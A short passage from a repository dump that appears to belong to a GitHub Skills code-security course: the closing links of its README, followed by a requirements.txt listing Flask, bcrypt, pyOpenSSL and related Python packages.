[Slack](https://gh.io/securitylabslack). 217 | - [Take another skills course](https://skills.github.com/). 218 | - [Read more about code security](https://docs.github.com/en/code-security). 219 | - To find projects to contribute to, check out [GitHub Explore](https://github.com/explore). 220 | 221 | 235 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pyOpenSSL 2 | bcrypt 3 | flask 4 | flask-testing 5 | blinker 6 | requests --------------------------------------------------------------------------------